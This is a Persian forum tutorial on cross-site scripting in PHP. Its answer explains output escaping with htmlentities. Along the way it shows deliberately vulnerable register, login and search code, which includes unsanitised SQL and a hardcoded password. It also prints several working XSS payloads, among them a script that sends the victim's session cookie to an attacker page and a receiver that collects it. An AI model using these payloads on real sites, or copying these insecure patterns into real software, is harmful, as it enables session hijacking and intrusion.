بروز خطا
   [message]
اشتراک در سوال
رای ها
[dataList]
پرسش و پاسخ

باگ XSS و روش مقابله با XSS

مدیریت گفتگو
محسن موحد 11 سال پیش
آخرین تغییر: 10 سال پیش

سلام.
یکی از انواع حملات به صفحات وب , XSS هست.(Cross Site Scripting)
xss ازین قراره که نفوذگر توسط کد های client side مثل (javascript , vbscript) , صفحات وبی که توسط کاربران اینترنتی (clients) باز شده , مورد حمله قرار میدن و اسکریپت هاشونو تزریق میکنن.
این اسکریپت ها در صفحات وب ما (clients) اجرا میشن و باعث خرابکاری هایی در برنامه میشن و نفوذگر میتونه اطلاعات کاربرو در اختیار بگیره.

 

واسه اینکه ساده تر بخوام توضیح بدم , یک مثال خیلی ساده میزنم:
یک صفحه ی فرم میسازم که نام افرادی که میخوان عضو سایت بشن رو میگیره و در دیتابیس ذخیره میکنه و تمام کسانی که قبلا عضو شدنو هم در همون صفحه , پایین تر از فرم , نمایش میده:
اسم این صفحه (register.php)

<form action="" method="post" accept-charset="utf-8">
	<input type="text" name="name">
	<input type="submit" name="btnSubmit" value="Insert">
</form>
<hr>
<b>Members:</b><br>
<?php mysql_connect('localhost', 'root', ''); mysql_select_db('test'); mysql_query('set names utf8'); /**************************/ // insert codes if (isset($_POST['btnSubmit'])) { if (isset($_POST['name']) && !empty($_POST['name'])) { $name = $_POST['name']; mysql_query("INSERT INTO `name` (`name`) VALUES ('{$name}')"); if (mysql_affected_rows() <= 0) { echo "ERROR!"; } } } /**************************/ // show members $result = mysql_query("SELECT * FROM `name`"); if (mysql_num_rows($result) > 0) { while ($row = mysql_fetch_assoc($result)) { echo $row['name'] . '<br>'; } }

 

حالا کاربری (نفوذگر) وارد این صفحه از سایت میشه و این صفحه رو میبینه:


و بجای اینکه اسمشو وارد کنه , این عبارتو در اینپوت مینویسه:

 <script>alert(\"You have been hacked!\")</script>

و روی دکمه ی Insert کلیک میکنه و در دیتابیس این عبارت ذخیره میشه.
قاعدتا عبارت بالا هم باید در زیر member ها اضافه و چاپ بشه!!

 

حالا هر کاربری , هر زمانی , از هر جایی که این صفحه از سایتو باز کنه ,  با این آلرت مواجه میشه:


بله , بجای اینکه اون عبارت بالا عیناً در قسمت members چاپ بشه , بصورت آلرت در مرورگر کاربر(قربانی) نمایش داده شد , یعنی کدهای جاوااسکریپت در مرورگر کاربر اجرا شد.
بجای alert میشد هر کد جاوااسکریپت دیگه ای تزریق کرد.

*********************************************

 

خوب , مثال بالارو توو قالب یک مثال دیگه میارم.
در مثال اولی که زدم , فرمی داشتیم که نام تمام اعضا رو نمایش میداد.حالا کاربری (نفوذگر) وارد همان صفحه یعنی register.php میشه و داخل اینپوت , بجای نام خودش, این کد جاوااسکریپتو وارد میکنه:

<script>
window.location = \'http://example.com?hacker.php?cookie=\' + escape(document.cookie);
</script>

 

فرض میکنیم عبارت بالا توسط نفوذگر در دیتابیس ثبت شد.
* example.com/hacker.php صفحه ایست که نفوذگر ساخته.(آدرس سایت نفوذگر)

 

در ادامه ی مثال, یک صفحه ی لاگین داریم و کاربر ها لاگین میکنن.
زمانی که لاگین صورت میگیره , اطلاعات کاربر در سشن ذخیره میشه.(در این مثال)
همونطور که میدونید , session id در کوکی و مرورگر کاربر ذخیره میشه و توسط این آیدی مقادیر از حافظه ی سرور خونده میشه.
یعنی عملا اگر کوکی مرورگر کاربر غیر فعال باشه , سشن هم کار نمیکنه , چون سشن آیدی دیگه نمیتونه در جایی ذخیره بشه.
پس نکته ی مهمی که اینجاس , اگر ما سشن آیدی یک کاربرو داشته باشیم , توسط این آیدی میتونیم اطلاعات کاربرو که روی حافظه ی سرور ذخیره شده رو بخونیم.
توو این مثال میخوایم توسط حمله ی xss  , سشن کاربر قربانی رو بدست بیاریم.

یک پیج لاگین ساده درست کردم و فقط این لاگینو محدود به یوزر ادمین کردم.دلیل اینکارم اینه که نخواستم زیادی پیچیدش کنم و فقط میخوام مثالو پیاده سازی کنم.

<?php
// start session
if (!isset($_SESSION))
{
	@session_start();
}

/***************************/
// check login
if (isset($_POST['btnLogin']))
{
	if (isset($_POST['username'], $_POST['password']))
	{
		$username = $_POST['username'];
		$password = $_POST['password'];

		if (strtolower($username) == 'bidak' && $password == '123')
		{
			$_SESSION['login'] = true;
		}
	}
}

/***************************/
// check login session
if (!isset($_SESSION['login']))
{
?>
	<form action="" method="post" accept-charset="utf-8">
		username: <input type="text" name="username">
		<br><br>
		password: <input type="text" name="password">
		<input type="submit" name="btnLogin" value="login">
	</form>
<?php
}

// show members
if (isset($_SESSION['login']))
{
	echo 'Welcome to <strong>Admin</strong> panel.<br>';

	/**************************/
	mysql_connect('localhost', 'root', '');
	mysql_select_db('test');
	// show members
	$result = mysql_query("SELECT * FROM `name`");
	if (mysql_num_rows($result) > 0)
	{
		while ($row = mysql_fetch_assoc($result))
		{
		    echo $row['name'] . '<br>';
		}
	}
}
else
{
	echo 'You are a <strong>Guest</strong> here now.';
}

 

وقتی login میشم سشن login ست میشه و در صفحه ی ادمین اسامی اعضای سایت نمایش داده میشه.
یکی از اسامی که در صفحه چاپ میشه , کد نفوذگر هست:(در متن بالا اشاره شد)

<script>
    window.location = 'http://example.com?hacker.php?cookie=' + escape(document.cookie);
</script>

 

این کد اجرا میشه و کوکی کاربر لاگین شده رو به آدرس نفوذگر میچسبونه و میفرسته به صفحه ای که نفوذگر توو سایت خودش ساخته.نفوذگر کوکی های کاربرو در صفحه ای که ساخته(hacker.php) دریافت میکنه و جایی ثبت یا توسط میل و ... ارسال میکنه.

 

صفحه ی hacker.php بعنوان مثال:

<?php
echo  "found: " . urldecode($_GET['cookie']);
// Insert into db or Send email

کدهای صفحه ی نفوذگر اجرا میشه و کوکی سشن آیدی کاربر بدست نفوذگر میرسه.
کافیه نفوذگر این کوکی رو در مرورگرش ایجاد کنه و مقدار سشن آیدی کاربر قربانی رو در مرورگر خودش ست کنه.
بعد از ست شدن سشن آیدی کاربر قربانی , دیگه صفحه ی لاگین نمیاد و مستقیم وارد پیج ادمین میشه.

حالا این کد میتونه توو پروفایل یک کاربر تزریق بشه یا در صفحه ی پیام های خصوصی یا کامنت های یک پست یا بصورت یک لینک داده بشه به کاربر از طریق ایمیل و ... و کاربر لینک مورد نظر نفوذگرو باز کنه و ...

*********************************************

 

مثالی واسه لینک دادن به کاربر و تزریق از طریق address bar:
سایتی که در قسمت search box باگ xss داره.قسمتی از کدهاش به این شکله که عبارت جستجو شده توسط کاربرو در url قرار میده و با متغیر GET مورد دستیابی قرار میده و بدون هیچ فیلتری در صفحه عبارت جستجو شده رو چاپ میکنه:

echo "You searched for: ".$_GET['search'];

و نفوذگر چیزی شبیه به آدرس سایت مد نظر برای کاربر قربانی به شکل های مختلفی ارسال میکنه تا کاربر قربانی روی این لینک کلیک کنه.

http://exampleSite.com/result.html?search=<img src=/ onerror="alert(document.cookie)">

از صفت های تگ های html میشه واسه تزریق کد استفاده کرد.
نسخه ی جدید مرورگرها مثل chrome , تزریق اسکریپت از address bar رو جلوگیری میکنن ولی بعضی روش ها هنوز روی firefox از url میشه تزریق کرد.

 

در ادامه ی همین قسمت , یک نوع دیگه رو نشون بدم:
برنامه نویس تگ form استفاده کرده ومقدار  صفت action رو از آدرس بار کاربر گرفته. ازین طریق:

<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>">

دستور :

$_SERVER["PHP_SELF"];

از url کاربر نام فایل (صفحه ی جاری) نسبت به ریشه رو برمیگردونه.
مثلا این آدرس صفحه ی جاری: http://example.com/foo/bar.php
چیزی که در action تگ فرم چاپ میشه: 

/foo/bar.php

 

حالا نفوذگر , کد زیرو  به آدرس مقابل تزریق میکنه: http://www.example.com/test_form.php

http://www.example.com/test_form.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E

و در نتیجه تگ فرم به این شکل در میاد:

<form method="post" action="test_form.php/"><script>alert('hacked')</script>

و کد جاوااسکریپت در مرورگر کاربر اجرا میشه.

*********************************************

 

خوب ...
نفوذگر واسه inject کردن کدهاش روش های مختلفی استفاده میکنه.
بعنوان مثال , کد بصورت base64 کدگذار شده.یک نمونه با تگ meta:

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

اگر عبارت کدگذاری شده رو decode کنیم , این عبارتو میبینیم:

<script>alert('test3')</script>

روش های مختلف دیگه ای مثل url encoding و hex encoding و ... 

*********************************************

 

توو این پست صفحات register و login رو بعنوان مثال پیاده سازی کردم, بخاطر اون دسته از افرادی که هیچ آشنایی با این باگ ندارن و اگر خواستن تست کنن همین کدهارو اجرا کنن.
قصد , آموزش xss نبود و یک معرفی اجمالی انجام دادم.
شما روش های مختلف تزریقو میتونید از این لینک ببینید.


توو پست بعدی روش مقابله با xss رو میگم.

نظرات

reza piry ghadim 11 سال پیش
عالی بود داداش دستت درد نکنه که انقدر به خاطر ما تایپ کردی واقعا مفید بود
Borhani 11 سال پیش
عالی بود به نظرم نیاز است یک بخش امنیت در وب ایجاد گردد.
akn4 10 سال پیش
عالی بود. روش فیلتر کردن آدرس بار موقع سرچ چطوریه ؟ یعنی نفوذگر مستقیم از آدرس بار سرچ نکنه

پاسخ‌ها 1

محسن موحد 11 سال پیش

همونطور که مثال هارو دیدید , هر جایی که مقادیر(گرفته شده از کاربران) در صفحه ی مرورگر چاپ میشه , امکان xss هست.
پس همیشه تمام اطلاعاتی که از کاربرها میگیرید , مانند (کامنت ها , چت ها , پیام ها , پست ها , مشخصات , ... و ... و ...) در زمان چاپ , باید با تابع htmlentities و یا htmlspecialchars (یکی از توابع) ,  اطلاعات escape بشن.

* در این تاپیک در مورد این دو تابع قبلا توضیح دادم. (آموزش توابع کاربردی رشته ها)

بعنوان مثال قسمت نمایش اعضا که در قسمت اول کدشو نوشتم , به این حالت در میاد:

// show members
$result = mysql_query("SELECT * FROM `name`");
if (mysql_num_rows($result) > 0)
{
	while ($row = mysql_fetch_assoc($result))
	{
// use HtmlEntities to prevent xss echo htmlentities($row['name'], ENT_QUOTES, 'UTF-8') . '<br>'; } }

 

خوب , حالا چیزی که در صفحه ی مرورگر چاپ میشه:

<script>alert("You have been hacked!")</script>
ali
hasan
mohsen

در مثالی دیگه (پست قبلیم) , اشتباه برنامه نویس در تگ فرم باعث بروز این باگ شده بود , به این شکل در میاد:

<form method="post" action="<?php echo htmlentities($_SERVER["PHP_SELF"], ENT_QUOTES, 'UTF-8')?>">


و تمام مواردی که گفته شد , بهمین شکل.

نظرات

سجاد عباسی 10 سال پیش
اگر ما بخایم کاربر بتونه تگ های html رو در نوشتش استفاده کنه مثل echo htmlentities("aaaa", ENT_QUOTES, 'UTF-8') . ''; تبدیل به این میشه <a href="aaaa">aaaa</a> که تگ ها اجرا نمیشه برای اینکه این تگ ها باقی بمونن چه کار میشه کرد؟

پاسخگویی و مشاهده پاسخ های این سوال تنها برای اعضای ویژه سایت امکان پذیر است .
چنانچه تمایل دارید به همه بخش ها دسترسی داشته باشید میتوانید از این بخش لایسنس این آموزش را خریداری نمایید .